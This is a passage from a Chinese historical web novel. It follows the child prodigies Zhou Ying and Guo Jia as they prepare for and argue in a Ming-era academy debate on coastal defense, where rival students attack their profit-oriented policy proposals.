“嗯。辩场只许三人上场,我们这么多学生,肯定不能全部都上去的。” 周盈看了一眼众人,语气带了些许迟疑:“诸位可有谁想上场?” 一群人迟疑了片刻,这事儿还真不是什么好出风头的事情。 毕竟一个人面对那其余九家学院的学生,便是只能派三人出列,算一算,也有二十多人了。 舌战群儒也不过如此了! 况……他们也并没有真觉得自己还真有那般口才。 大家伙你看我我看你的,张岱一拍手:“我看你们也是犹犹豫豫的。” “这样吧,两位小师弟是咱们潘岳私塾的活招牌,一定得上。其余一人,就从我们几个里面抓阄好了。你们怎么说?” “我没意见。” 众人都摇头,没表示其他。 杨业皱了皱眉,反倒是疑问:“周师弟可是觉得,明日那胡云熙会先发难?” “既然少云师兄今日前来,与我们说起这件事。那就代表那帮人一定也是想好了,要怎么对付我们。” “胡云熙跟我们结怨,他必然是跳的最欢的那个。” 周盈说着话,想到那日诗会发生的事情,目光瞥向了郭嘉。这家伙手上拿着糖炒栗子正剥得欢,半点正经都没有! 察觉那视线的不妥,郭奉孝猛抬起头。 “呃……我也没意见呀。” “……”周盈扯了扯嘴角。 算了。 郭嘉把栗子塞进自己嘴里嚼了嚼:“你就是想太多,兵来将挡水来土掩嘛。” “哪有事情总是能防范于未然的?总归是见招拆招最靠谱。我以前…咳,我以前的经验来看,灵机一动的东西,才是最好用的!” “计划赶不上变化嘛。” 周盈呵呵了一声:“那行,明天奉孝打头阵。” “啊?” “怎么?” 郭奉孝眼珠子一转:“行呗,我上就我上。” 周盈啧了一声,总觉不太靠谱。 沈越倒是迟疑说道:“周师弟性子稳,还是开场比较合适。至于郭师弟,则重在一个出其不意。” “嗯,青山师兄所言也有些道理。” 周盈思忖了一番,感觉还是他第一个开口定基调更稳妥一点,郭嘉那张嘴,一不高兴了,说不准就蹦出个石破天惊的话来。 到时候,直接把辩论场上的主考官们都炸得外焦里嫩,潘岳私塾哭都没地方哭去! 小郭狐狸闻言,哼哼两声,一副你们不信我!我很伤心的表情。 周盈直接无视:“还是抓阄吧,先把人定下来。” 张岱拿了纸条投进盒子里,几个人都抓了一个。 “咦?我这儿没有。” “我也是白纸。” “张师兄也没有?” 张岱看了一眼自己的,再一秒杨业的,也都是空白的。 76.第 76 章 几个人目光转向沈越。对方脸色有些僵硬,抿着唇,把自己的纸条缓缓抬了起来。 “好啊,想不到青山这回手气极佳!” “青山!这可得靠你跟两位小师弟打配合了!” 沈越本来长的挺俊的,但总板着一张脸,这会儿也不例外,而且更僵硬了。 难免就让人觉得不太好亲近。 “我、我……” “别拒绝!这些天我看你总神游天外的,好不容易有个上场展示自己的机会,干嘛拒绝?”张岱直接抢先插嘴,把对方想说的话全都给堵死了! 沈越剜了他一眼:谁要你帮我做决定的? 看出沈越有些焦虑担忧的情绪,周盈低头笑了笑,想着开口道:“我见沈师兄策论写的妙,比之张师兄文章华丽,倒还更要务实一些。” 张岱眨了眨眼睛,琢磨出点味道来,紧接着有些受伤道“小师弟,我这策论,难不成就写的那么……难看?” 几个人顿时“扑哧”一声,没忍住,全笑出来了。 杨业忍俊不禁道:“宗子,你是块文章大家的料,适合享福!” “哈哈哈哈……” 沈越倒也被逗乐了一些,嘴角微微翘起:“我知道周师弟想说什么,明天我上。” 张岱拍手:“哎!这就对了!该上场的时候就得大大方方!青山,不是我说你,你这人平时就是太没趣。” 沈越冷哼一声,不说话了,估计是嫌张岱这人真讨厌。 这些周盈都看在眼里,也不点破什么。 一番敲定,几个人吃也吃尽兴了,玩也玩尽兴了。 月上树梢,自然也是各回各屋,洗洗睡觉。 不过…… 周盈看了一眼准备往床上爬的郭嘉。 “你干嘛?” 小郭狐狸被逮住了狐狸尾巴,转过身,委屈巴巴坐在床边。 “地上凉……” 周盈面无表情看着他。 郭嘉“啧”了一声,哼道:“好好好!我打地铺……反正我命苦,陪你来这鬼地方,任劳任怨,还得睡地板。” 他手拽了被子,一副可怜兮兮的模样走到床边,伸手展开,将被子铺到地上。 周盈没眼看,整的好像他欺负对方一样。 那不还是因为郭嘉睡相太差吗! 眼看着卷吧卷吧,窝在被子里,好“可怜”的一只小郭狐狸,颇有几分形单影只的悲凉。 周盈总有点看不太下去。 “行了,别装了,去床上吧。”反正……也就最后一晚了。 闻言,郭奉孝从被子里探出上半张脸,声音闷闷的:“你睡床吧,我睡相差,不打扰你。” 这会儿卖起乖来了? 周盈笑了起来,手撸起袖子,还没说什么,那地上的人猛地蹦起来,手抄起被褥就往床上爬。 “汝瑛哥哥真好~舍不得我吃苦!” “……” “我保证,我今天一定安安稳稳睡觉!”郭嘉郑重其事。 周盈已经不信他了。 “随便你。”反正实在不行,他打地铺算了。 熄了灯,躺上床,周盈闭上眼睛。边上的人蛄蛹蛄蛹,蹭过来了点。 这一晚睡下来,周盈深刻体会到,郭奉孝嘴里的话,那是一个字都不能信。 早上醒来跟个八爪鱼一样扒他身上,他说怎么睡一晚上那么沉! 好歹是没抢被子了。睡一张被子谁抢谁! 总归是比前两晚好点,睡了个勉强吧。 一行人吃完早饭,赶到绍兴府儒学院门口,正巧碰上了前两天,跑去跟老友聊天聚会的陈夫子。 话说上回,陈夫子见学生们吃穿住行都打点好了之后,反正考试他着急也没用,干脆就自个儿出去玩了。 “欸?夫子,您怎么回来了?”有人稀奇。 陈夫子皱眉:“为师这不是担心你们吗?” “……”夫子你这话说的,半点可信度都没有。 “尔等辩论准备得如何?为师可听闻了,那几家书院早串通好了,这才紧赶慢赶的赶回来给你们把把关!”陈夫子脸上神情严肃,说着话的功夫看了看几个学生。 “啊、啊?这样么……?”周盈眨眨眼睛,露出一副恍然大悟的表情。 “呃对对对!我们都不知道!要不是夫子赶回来,咱们可得着了道了!”张岱紧接着接了一句。 陈夫子眯起眼,不对劲,这帮小兔崽子。 “你们知道了?谁说的?” 周盈看了一眼张岱,心想这地主家的傻儿子,怎么演习都不会呢? 张岱脸上有点尴尬:“好吧……是稽山书院的陈岳,夫子你也知道!陈岳为人不错的,咱们昨晚上还跟他一起吃饭呢。” 一听这话,陈夫子胡子都拔掉了几根:“这还真是……稀奇了。陈岳待人温和,但少有与人结友。” “把你们这几日发生的事情与夫子说一说。” 于是几个人就把这两天的事情都捋了一遍。 陈夫子频频点头,听到郭嘉炸诗会的时候,眼皮猛跳,看向郭嘉的时候,这小混世魔王,半点不觉自己有错。 “夫子,就是这样了。” 陈夫子皱着眉,思忖了一番开口道:“既然,稽山书院不与他们一道,那你们的压力就会轻松不少,这倒是个好消息。” 说到这,他看向周盈:“汝瑛,为师听闻,这次的辩论,辩的就是东南海防之策。也就是你们昨日写的那份策论,今日都要用出来。” “……”这还是真没想到的。 周盈心里思忖,只觉自家夫子的人脉关系,还真是深不可测! “好了,多的不说了,这会儿的时间已经有些来不及了,你们先进去,再慢慢想。” 一众人行了一礼,朝着大门口走去。 辩论场,跟前两日的笔杆子考试不太一样,因此场地也不在舍屋。 中央广场,这会儿已来了不少人。 只见儒学院左侧孔庙门口,已上了不少的香。 右边是经义堂,平日给学生上课的地方,不过因联考,暂停几日。 正前方是大殿。门口已经站了几位主考官,为首的便是绍兴知府萧良幹。 左侧是浙江提学官李志毅,右侧则是 绍兴府儒学教授吴可大。 这次联考,便是由他们三个联手阅卷。 李志毅看着底下整个桌椅摆成了的圆形,学生陆陆续续赶到,外场的椅子上,坐的都是各私塾、学院的夫子和其余学生。 他不免颔首开口:“这届的联考,倒还真是空前盛事。我听闻,那山阴双神童,经义扎实,策论更是无出其右?” “萧府尊,看来我绍兴府,要出大人才了!”他说着话,语气带着几分笑意。 吴可大闻言,脸色变了变,但也没有马上开口。 萧良幹呵呵一笑,看了李志毅一眼:“李提学说的在理,就是不知这第三日的辩论,潘岳私塾能给咱们多大的惊喜?” “我听闻,那东南海防之策,却也是近些日,朝野争议的事情?”吴可大突然插了这么一嘴。 萧良幹皱眉颔首道:“确实如此,因而,本官想着,倒不妨在联考上,听一听这些学生们能说出些有意思的见解。” “这……牵扯到国策,是否不太合适?” “无妨,纸上谈兵,有什么不合适的?将来这些学生入朝为官,总是要接触的。”萧良幹没那么死板,做官这些年,死板的人哪里能在官场上混得下去。 吴可大也就不再说什么了。 走进大门的周盈等人,看到这会儿位置上已陆续坐满了不少人。 他们一进来,胡云熙那一伙的目光顿时就探了过来。其余的一些学院学生,这会儿也都慢慢安静了下来。 坐在潘岳私塾左侧的是兰亭书院。 蒋衡见状,脸上有些别扭,看了一下这尴尬的氛围和局势,还是凑过来了一些:“周师弟,这次的辩论,阳和书院那帮人早有准备,你们千万要当心啊。” 周盈闻言倒是有些惊讶,一笑间颔首道:“多谢师兄提点,我等会当心的。” 众人再无多话,各自在自己位置上准备。 周盈看了一眼白纸和笔墨纸砚,应是拿来让学生们打草稿的。 他抬头看过去,好巧不巧的,潘岳私塾对面坐的却正是证人书院跟阳和书院。 这会儿,胡云熙和他的那帮同窗不知道在说些什么,偶尔朝着周盈一群人看过来。 至于证人书院,则是赵琳为代表,但让周盈稀奇的是,黄宗羲竟也在位置上。 郭嘉凑到他边上开口:“等会开篇若是我们靠后,第二轮就由我出场,若靠前,则由青山师兄出马。” 周盈点头,示意自己知道。 随着时间逐渐过去,原先站在大殿门口的三位主考官也走了下来。 坐在外头的陈夫子看着里面的场景,心里不免也有些担忧。 这距离倒是不远,都能听得清楚。 一旁的刘宗周坐的端正,不偏不倚的。再往旁边,便是稽山书院的大儒余钦,正是陈岳的老师。 寒暄也早就在外面寒暄过了,其余的书院夫子,这会儿也都没再说什么话,都坐的安静。 太阳渐升起。 走到上方观看席的萧良幹,缓缓开口说道:“今日,是绍兴联考第三日,经前二日的经义、策论,这第三日便是辩论。” 77.第 77 章 “诸位都是我绍兴府的学子,,朝局实艰,民生多苦,读书以‘修身、持家、治国、平天下‘为己任’,今便以‘东南海防之策’为题,以文会友,以策切磋。” 起身的一众学生行礼道:“学生谨遵座师教诲。” 礼毕。 辩论正式开始。 这次辩论的规则,周盈等人也早知晓。 因人数颇多,若一轮一轮来,不知道要辩到猴年马月去,因而干脆大家伙都坐一起,由第一轮的策论起题。 至第二轮自由攻辩。 第三轮由暂胜方新提一个辩论主题。这样也就避免了整场太过重于国策功利之事。 策论起题是抓阄决定的谁先谁后。 一众的学院代表轮流走到抓阄箱面前。先是陈岳所代表的稽山书院,随后紧跟的是阳和书院,再是证人,其余的一些。 周盈走上前,与陈岳擦肩而过时,对方看了自己一眼,那不言而喻的神情,早已无需多言。 不免的,他心中倒也有些暖意升腾。 “哼。”胡云熙见到他的时候,则冷哼了一声。赵琳没理会他,其他一些别的学院的,这会儿目光中透露出的情绪,也多带几分复杂。 坐在场外的张岱等人这会儿都跟着捏把汗。看着自家周师弟走到箱子里,随后抓取了块小牌子,低头一看,再放下。 “宗吕,你看得见周师弟抓的是几号吗?”他是真着急。 杨业听闻,则摇了摇头,开玩笑,这距离,视力再好也见不着吧? “欸?你说……这要是咱们潘岳私塾,轮到了最后一个可怎么办?” 杨业无语。 周围一群同窗都瞪了他一眼:“宗子,你还是住嘴吧,这乌鸦嘴万一成真了呢?” “我、我也是担心嘛……” 且看回场内,周盈脸色不是很好,走回来坐下后,郭嘉和沈越对视了一眼,一道开口:“怎么了?” “我们是最后一个。” “……”郭嘉这会儿也有些惊了,你这什么手气? 沈越则是皱起眉来:“周师弟,这样的出场,于我们实在不利。若以寻常之策论辩‘东南海防’,只怕前者一鸣惊人,我等却要默默无闻了。” 先出场的总归是占据更好的时机,一些好的策论其入口,会被直接抢走。 这是沈越最担心的。 若是立论陈词没有打好地基,那么后头的自由攻辩,就如空中楼阁。再加之这帮人摆明冲着潘岳私塾来。 他们一定是得打一轮车轮战的。 这会儿场中不少的书院各自凑到一起细细商量,三人也不例外。周盈想了想,这事儿倒还真不能藏拙,须得立论的时候就得够炸。 否则后头,郭嘉那奇策也接不上轨,这家伙发挥还挺吃舞台的。 他开口道:“我有个策,只是等会儿,须以奉孝之‘奇’为矛,以青山师兄之‘商’为盾。” 郭嘉没什么表态,反正他都没问题。 沈越愣了愣,一时间不知道周盈想干嘛。 “周师弟这是……” “既东南之地,商贸繁华,则税者,必出于商。此事是脱不开的论点,也是根本论点,我须以改税制,破这场辩论之局。” 周盈语气快了几分,想起自己昨日所写策论,倒不曾想今日却可以直接拿出来用,也算是不幸中的万幸。 但他说的话,让沈越闻言脸色微变:“此策,是否太激进?海税立久,怕难撼动,空有纸上谈兵之嫌。” “我们不是要真让朝廷改。”听着两人说话,郭嘉插嘴了一句,手点了点对面,这会儿也在交头接耳的胡云熙一群人。 “我们只是要把他们这帮,只知空谈的人打趴下。这就是目标,至于其他的,到底是不是纸上谈兵,跟这次的辩论没关系,若是萧府尊听之觉得有用,一道奏疏上表天听,那也是萧府尊的事情。” “奉孝说的在理,这就是我的意思。” 沈越听之,心里只觉得这两个小师弟,还真是……该说是不知天高地厚呢?还是说初生牛犊不怕虎? 总归的,沈越是被惊了一下,但细想下,似乎也没有比这更好的法子,缓缓点了点头。 “好吧,我倒是可以补充一些关于‘商税’的观点、策论。” 周盈闻言笑了笑:“这正是我们缺不得青山师兄的原因。若无青山师兄这个当事人,我们就真是纸上谈兵。但青山师兄商贾之家,对‘商税’最是了解。” 沈越其实不太喜欢在外面提起自己的家世,这会儿要自己公然跳出来,以此作为武器,也有些扭捏心态。 但听了周盈的话,便也颔首。 “肃静!”一声喝响。 见一炷香时间已烧完,场内的学生们也就都停止了交头接耳,坐正了位置。 吴可大站起身,看着台下的一众人,开口道:“本次论题,须以各院派遣一人,就‘东南海防之策’,以半炷香时间为限,立论陈词。” 他说完,一旁的仆从便将新点上的香炉端了上来。吴可大看了一圈,目光看向陈岳,对方压根没理会他。再一看阳和书院一帮人,这会儿早已气势汹汹,按耐不住的模样。 他也没说什么,一挥袖走到位置上坐下。 “萧府尊,您看可以开始了吗?” 萧良幹闻言,放下杯子,看着香开始缓缓升起烟雾,颔首道:“开始。” 鼓声响。 紧接着众人便看到,第一个站起的,正是证人书院的赵琳,他先朝着萧良幹方向深行一礼。又向着左右各书院拱手,最后目光落在周盈等人身上后,笑着,开口道:“诸位师友,在下证人书院赵琳,忝为今日立论之首。” “府尊大人出题‘东南海防之策’,此乃国事,非一家一姓之私。在下才疏学浅,不敢言策,但以言‘本’。” 说话间,赵琳语气顿了顿,清朗声音又言:“东南之患,在无钱乎?在无兵乎?在下倒以为,其患在人心之失守。” 一语出,不少人都看向了他。 场内的学院派遣学生们,各有神情。阳和书院那边,胡云熙缓缓点头,心里对赵琳这番话颇为赞同。而稽山书院以陈岳为首的,却并 未有太大动静。 几个同窗看着几家师兄面无表情的样子,也都你看我我看你。 谁惹少云师兄不开心了? 当然没有谁惹陈岳不开心,单纯是因为陈岳觉得,这话太假大空,废不能再废。 郭嘉这边听的都有点昏昏欲睡了,他只觉得赵琳还挺厉害的。 当年陈琳檄文骂曹操,好歹是言之有物,笔下有东西。这赵琳,说的都是一堆翻来覆去车轱辘话,真听之,却什么问题都没解决。 且看,赵琳那侃侃而谈间,语气铿锵起来,手一挥道:“昔者,范文正公卫秀才时,以天下为己任,其所能办大事,成大名者,非奇谋秘计,亦无偏门旁计,盖因‘先忧后乐’四字耳!” “此四字者,何也?心术正也!” 他音量猛地一提,让场外的人也都听了个一清二楚。霎时间,杨业脸色就略变了变。 张岱皱眉,直接嘴快开口:“什么叫心术正?这赵琳,是拐着弯骂咱们潘岳私塾,是心术不正之辈吗?” 边上几个学院的学生听了,脸色各异,各自窃窃私语,对这番话颇有见解一般。 “宗子,先听听再说,这才刚开始呢。” 杨业到底稳重些,拽了一下张岱,让他别太跳脱了。 边上坐着的陈夫子闻言,心里冷嗤一声,眯着眼捋了捋胡须,那是压根没把这种废话放心里,唯独担心的就是这帮小兔崽子,在接下能不能抗住这么多番书院上阵的压力。 而刘宗周听闻此话,不免略皱起眉,他先前就在码头上,训过赵琳,以清扫学术害虫,而为己谋私之心。这次便是担忧对方再闹出些事情,才叫他最器重的黄宗羲跟着上场。 心里叹了口气,刘宗周到底不甚满意,赵琳只说出了表象,却无实质。 且看回场上,赵琳继续言:“我今闻,有人言海防,开口便是‘税制’、‘利润’、‘商贾出资’。在下观之,此皆末节,非根本。” 他目光扫过潘岳私塾几个人,字字清晰道:“若人人心中只有‘利’字。则今日可为保海道而捐资,明日便敢为厚利而通寇!今以虚衔而欣喜,明日便敢以虚衔而欺民!” “我证人书院,自先师以来,讲者惟‘诚意正心’,心正则事正,心不正,虽言海防、谈兵饷,亦是邪末之途,将来必成后患之祸。” 说到这,赵琳转向萧良幹,语气恳切道:“故而,在下以为,东南海防第一要务,不在筹钱,不在练兵,而在正人心,端士习,崇教化。使人知廉耻、知仁义、知忠勇,此方为本。” 说完这些,赵琳微微欠身,目光落在周盈身上:“在下立论完毕,却还有一问奉陪,若无仁义,利将焉附?” 随后,他坐下。 场内寂静片刻。 不多时,掌声响起。 在一众的声音之间,周盈眯起了眼睛,往后一仰,倚在椅背之上,心里冷笑一声,深吸一口气。 这第一轮上来,就直接开始撕破脸了。 倒也不错,这样他也不用太顾及一些颜面了,该怎么打就怎么打,怎么狠怎么来。 78.第 78 章 “他在挑衅我们。”郭嘉不爽。 “我知道。” 这会儿沈越脸色也难看了点,转头巡视了一番,仅少数些人,未曾鼓掌。这意味着,在场的绝大多数,实则都是站在赵琳那一派的。 敌强我弱啊。 他抿紧了唇,心中也是有一股子火气被激了出来:“周师弟,我觉得你之前说的却也是对的,对这些人,须得狠狠给个教训才成。” 周盈点了点头:“那我等也就不再收着了,这三番两次挑衅,倒觉咱们潘岳私塾好欺负?” “嗯?你有什么想法?”郭嘉好奇了。 “既已是学派之争,那咱们这些被打成‘事功派’的,倒不如真来个‘事功派’复兴,不就是磨嘴皮子的事情?” 周盈语气不急不缓,眉眼间却带着些锐色,黑瞳一闪,似灿光一掠:“事功派主‘道在事中,道不离器。’,他赵琳谈的是心性、道义,可提出什么有用的策论和法子?这是他们的致命弱点。” “再言‘义利并举,功利统一’,做大事的,往往才有大名声,只知道侃侃而谈的,哪有本事在史册上留名?” 沈越闻言皱眉:“你是要借叶适等人的学说,以此为矛,来与赵琳等人对擂?可事功派如今已然落寞,只怕恐有末流指摘之嫌。” 郭嘉琢磨,他是不知道这些名词,也不知道这些人名的。但道理是相通的,对于郭奉孝来说,一个人有没有能耐,端看这人有没有本事做事情,而不是听他说的有多好听。 这种人,搁他那会儿,就跟祢衡、孔融差不多……反正这俩下场也不咋样。 “我觉得可以,便是不谈东南海防之事,我们也有玉米番薯之政可以用,这可是皇上钦定的国策,咱们几个当事人,就是活生生的尚方宝剑!” 沈越思忖了一番,心想这都被欺负到脸上了,谁能忍得了? “行!我尽量跟上两位小师弟。” 几个人在这谈论事情,那边,听了赵琳一番立论,频频颔首的吴可大,心中对证人书院不免高看一眼。 萧良幹眉头几不可察的皱了一下。他听出了赵琳话里头的锋芒,但作为主考官,却也不能多说什么。 赵琳坐下后,胡云熙朝着他拱手示意。 “书玉兄大才,我观盘潘岳私塾那群人,这会儿只怕是鼻子都气歪了!” 不少人哈哈笑了起来。 赵琳摆手,佯以谦虚:“微末见解,且看少云兄的立论如何吧。” 坐在一旁的黄宗羲不易察觉的皱了皱眉,但却未曾开口说什么。 几个人闻言,也就都安静了下来。 第二立论者,却正是稽山书院的代表,陈岳。 他站起身,照例朝着萧良幹行礼,随后看向众人拱手。到底是公认的魁首热门,这会儿赵琳调子起的这么高,所有人都想听他有什么见解。 陈岳目光在赵琳身上停留了片刻,再看潘岳私塾一行人,颔首道:“在下稽山书院陈岳,方才听书玉兄高论,心中不免有些感触。” “书玉兄言‘正人心,端士习’方为海防之本,此言不假。人心不正,纵千万白银,不过养虎为患。士习不端,纵有坚船利炮。难免临阵脱逃。” 他说到这顿了顿,场上不少人心中觉得不出意外,赵琳脸上多了些笑容。连胡云熙,这会儿心情都舒畅了不少,看着对面潘岳私塾的三个人影,不免觉得心下大定。 连稽山书院都站在他们这,谁胜谁负,板上钉钉了! 但随即,陈岳一句话,直接炸的两个人猛抬起头。 他说:“在下自幼读书,则常自问:所谓‘正心’,当从何处起?所谓‘端习’,当从何处端?” “昔年家师常言:读圣贤书,所学何事?学其事耳。事者,非高谈阔论之虚事,乃穿衣吃饭之实事、钱粮兵甲之要事、民生疾苦之切事。” 陈岳目光一转,转向了场外,正巧便与稽山书院大儒余庆对上了视线。对方板着一张脸,端坐的姿态笔直,也不曾有什么脸色上的变化。 陈岳心叹一声,这些天他跟自己的尊师,矛盾闹得不算轻。 他素知老师脾气,也就不多再思忖,真要说服这在场的学生、大儒、考官,都得看潘岳私塾一群人的真才实学了。 继续道:“东南海防,固须仁义为纲,然无钱粮,纲纪何立?今诸位言‘仁义为本’,在下以为,皆非是,亦皆非也。” 赵琳脸色都沉了几分,看着陈岳的目光中,透露出些许的不可置信。胡云熙直接凑过来了:“你不说是,那陈岳与你素来交好?他这是什么意思?” 赵琳没开口,那胡云熙顿拉下脸了。 真是没一个靠谱的! 坐在潘岳私塾席上的郭嘉,这会儿都恨不得鼓起掌来了,说的在理。 沈越颔首:“陈岳,是个正人君子。” 周盈心里是知道,陈岳在帮他说话,也尽量不站任何一方,这话中便多婉转。 当然,场外的人也都听出来了,余庆没理会旁过来攀谈的几个人,心里想的什么,也就只有他自己知道了。 陈岳不顾这些心思各异的人,又说:“何谓‘皆非’?只谈仁义,而废其事功者。” “何谓‘皆是’?只用事功,而非其仁义者。” 说到这,他转向萧良幹,又与众人行礼道:“故在下言,东南海防,不在争‘义’与‘利’之高低,在求‘以利合一’,仁、义、利三者皆得,可相济之。” “在下立论毕,或有言‘此为骑墙之轮’。但天下事,非黑即白者少。容人言,方能成大事。” 这话说的不少人无声一笑,因为确实挺像的,郭嘉觉得陈岳有点幽默天赋,但说的挺有道理的。 等他坐下,赵琳和胡云熙脸上都有些挂不太住了,坐在上方的吴可大闻言皱着眉,没有点头,也没有摇头。 萧良幹倒是缓缓点了点头,此论含中庸之道,确是言之有物。 周盈莞尔,心里记下了这份人情。 接下来是其余的几个书院立论之言,多说的是一些道义、心性之言,车轱辘来车轱辘去,实则说的还不如赵琳言之 有物。 等轮到胡云熙的时候,他这会儿脸色已经恢复如初,朝着萧良幹拱手,动作标准的无可挑剔,站起身整理了一下衣襟后,目光扫视全场,最后落在潘岳私塾等人身上。 尤其是周盈和郭嘉。 他嘴角一扬,直接开口道:“在下阳和书院胡云熙,方才听书玉兄、少云兄,以及其余几位师兄弟高论,心有所感,亦有所惑。” 忽地,他拔高音调:“书玉兄言‘正人心、端士习’为海防之本,少云兄言‘义利合一’为济世之道,在下皆佩服。” “但……” 话锋一转,他目光直指周盈,一字一句:“在下读书十余载,始终想不通、一、个、问、题。” 周盈手在袖中攥紧,目光也不偏不倚,直接锐利几分,对视上去。 “若有人,口不言仁义,手不沾诗书,所谈者无非‘税制’‘利润’,所恃者无非‘圣旨’‘国策’。” “这样的人,也配谈海防吗!” 一时间,整个广场都炸锅了! 张岱在外头彻底坐不住了:“他胡云熙,空谈之辈也敢这般嚣张!国策是皇上钦旨!难不成是对皇上不满?!” 杨业这会儿也没拉住他,几个潘岳私塾的学生都开始愤愤不平起来了。 “就是!小师弟他们呈上番薯玉米,是想着让人都能吃饱饭,他们倒好,听不到那些农户百姓的苦声,反在这广场上指指点点做事情的人!” “简直是岂有此理!这帮名家书院教出来的学生,都是这样的酸儒书生!也能难怪如今国事艰难至此!” 这话完全是地图炮了,不少其他学院的都目露不善的看了过来。 “哼,只知逞一时口快。尔等潘岳私塾,借奇淫巧计,讨了皇上一时欢心,将来焉知不会摔得更惨?” “做学问,要端正其心,走捷径是行不通的。” “酸!酸不死你们!我们小师弟是皇上钦封‘孝童’!你们呢!?有什么功名在身?可做出过什么政绩?就在这大放厥词!简直是嗷嗷犬吠!” “你!” 好了,这下彻底炸了,总归是场外的学生们也开始争执起来,场内的气氛更是凝重。 沈越猛地坐起身,手死死抓紧扶手,简直是气得咬牙切齿!这帮人从刚开始就一直挑衅打压他们,如今胡云熙更是把脸都撕烂了! “稍安勿躁,等会儿看汝瑛发挥,咱们现在要是失态,那就真落了下风。”郭嘉一句话,把沈越那怒意浇灭了一些。 他冷哼一声,强忍着坐在位置上。 胡云熙笑得更得意,见众人交头接耳,再开口之时,多了些快意。 “在下斗胆!翻看过潘岳私塾两位‘神童’策论!” 语气中的讥诮不加掩饰。 “周师弟所言‘变钞关为什一之利’,言‘以商税养战兵’,言‘许商贾核账目’,妙,当真是妙!” 忽地转向众人,胡云熙摊开手,做出一副困惑状:“可在下想问,这些‘妙策’,其‘利’之可图,何其触目惊心!” 79.第 79 章 “什一之利,利也。商税养兵,利也。商贾核账,还是利!通篇上下,不见‘仁义’,不见‘教化’,不见‘心性’,这样的人,也敢称为‘儒生’?!” 他声音越来越高,也越发慷慨激昂。 “我阳和书院,自开院以来,所传惟‘孔孟之道’‘程朱之学’。圣人言:‘君子喻于义,小人喻于利。’今若让这些‘言利之辈’登堂入室,明日是不是可让商贾做知府,后日是不是可以让市侩管科举呢!” 张岱在外头听着,心里鬼火直冒了,站起身上前,直接被杨业猛拽回来:“你疯了!这会儿是辩论场!你上去直接破坏了规矩!” “管他规矩不规矩!这会儿都指着小师弟骂了!那胡云熙还要不要脸了!对这么两个七八岁的师弟这样骂,他阳和书院是真不要脸面了!” 张岱声音很大,惹得边上的阳和书院众人,以及一旁的夫子们,都看了过来。 阳和书院的夫子脸色黑了几分:“狂口小儿,安知圣贤书之理?连礼仪都不通,果真末流之辈!” 这话说出口,陈夫子也脸黑了:“衡阳,此言差矣,学生同窗‘以文会友’,何须我等夫子下场辩驳?” “此……是否有失偏颇啊?” 这话说的,明摆着骂对方心胸狭隘,拉偏架!不少人听了都嗤了一声。 那阳和书院夫子顿时站起身,低头看着一旁,气定神闲坐着的陈夫子。 陈夫子故作惊讶:“可是小子所言,叫衡阳心中不快?” 边上被拉住的张岱稀奇,哎哟不得了,夫子怼起人也真是有够嘴毒的! 这边场外闹得厉害。 场中央,听着胡云熙一番话,陈岳板着一张脸,心里对其为人越发不齿,几个稽山书院的都感觉出师兄身边的低气压了,都不敢开口多说什么。 而站着依旧侃侃而谈的胡云熙,深吸一口气,语气转为痛心疾首:“更怪乎,那郭师弟,诗会上口出狂言,辱骂同窗。此等行径,与市井泼皮无赖无异。竟也敢坐在这明伦堂前,谈‘海防大计’?!” 郭嘉闻言,眉头一挑,冲他来的! 只看胡云熙嘴角冷笑,目光如刀:“郭师弟,你可敢站起来,当着府尊的面,把诗会上的那些话,再说一遍吗?” 顿时全场哗然,有人喝彩,有人皱眉,窃窃私语响起。 周盈瞥了他一眼,目光中意味不言而喻。 郭奉孝气笑了,心里也少有的升起一股火了,他哪知道这胡云熙还真是小心眼,不就说他几句?这么计较?还直接搬到辩论场上打小报告。 他那会儿,吵归吵,最多也就是被陈群说几句,抓抓小辫子,那也不会搬到公事上直接公报私仇啊! 这品行太恶劣了。 胡云熙朝着萧良幹行礼:“府尊在上,在下斗胆进言:辩论之道,不在辩术高低,在立心正邪!若满口‘利’者,却自称‘事功’,我阳和书院不敢苟同!” “在下立论已毕。周师弟——” 胡云熙看着周盈,嘴角上扬,手一挥:“请!” 这一个“请”字,却是把周盈架在了最高位,下不来台了!所有人都在看着他,所有人都期待他的立论。 所有人,都好奇这个传奇的周神童,能说出什么石破天惊的话来。 吴可大这会儿脸色难看了一些,因为他听出来了,胡云熙这会儿不是书院间的切磋,已经是意气之争,上升到了人身攻击。 失控了。 萧良幹皱起眉,目光扫视打量了胡云熙一会儿,再看向周盈。 只见。 万众瞩目下,那道白色的身影,从倚靠着的位置上,缓缓站起身。清亮的眸子里头,全然无惧怕之色。 瞥了一眼胡云熙和赵琳等人,面露嘲讽一笑,随后朝着萧良幹拱手。 “萧府尊,学生有一事不知,可否先行询问?” 萧良幹点头:“你说。” 周盈叹了口气,看了一眼在场的所有人,脸上神情有些动容,唇微启:“在下想问,大明两京一十三省,如今,尚有多少百姓、农户,食不果腹,衣不蔽体?” “去岁,北直隶几个县闹了灾荒,饿死者不计其数,朝野震惊,便连我这个尚在私塾读书的学生,都略有耳闻。” “学生想问,吃不饱饭的饥民是什么样子的?” 萧良幹沉默了,不是不想回答,是因为这一问,问的太重。 重到在场所有人,原先那些交头接耳的人,都安静了下来。 胡云熙皱眉,思考周盈这句话所言为何意。 而萧良幹看着那道白衣身影,见其年幼,亦见其肩膀羸弱,见之则心中复杂。 他站起身。 一旁的李志毅和吴可大都不免有些愕然。 萧良幹开口道:“本官在地方为官二十多年,从知县做起,做过三年穷县官,也做过五年富县官。” “这里头,最大的区别就是人。富县的人,虽饥贫,却因地势原因,尚能经商、做买卖,吃口饱饭,用脑子,改善家庭。这就是商贾。” “穷县的人,无地势之优,无富硕之田,风吹日晒,干土困裂,想吃口饱饭,却只能扒树皮,啃野草。等树皮野草都吃完了,就吃土,那土叫什么?观音土。” “……”不少人听到这里,脸色上都有些不忍,有的惭愧低下头。 胡云熙和赵琳一行人,便是想说什么,也都有些不知如何开口。毕竟这一开始说好的是辩论学问之说,学派之争,结果对方一上来直接拔高到了黎民苍生。 两人对视一眼间,心里不免有些不妙的念头。 “这个回答,你可听到了?” 周盈闻言,垂下长睫,遮掩那一丝的不忍,只深深行了一礼:“学生明白了。” “这便是学生想说的,第一个立论!” “怎么让人,吃、饱、饭。” 三个字,如剑出鞘,铿锵有力。令场内之人侧目,亦令场外众人都停下了动作。 张岱不吵了,杨业不拦了,夫子们不吹胡子瞪眼了,其余的学生们也都把目光转移到场中央的那道白色身影上。 “番薯、玉米。” 他说出这两个词,如掂量它们的分量。 “这两样,不是 圣人说的,也不是经典里写的。是从海外来的,也是哪个不知道的穷地方,饿得受不了的人,试着种出来的。不是咱们现在,在这辩论场上,侃侃而谈,就蹦出来的。” 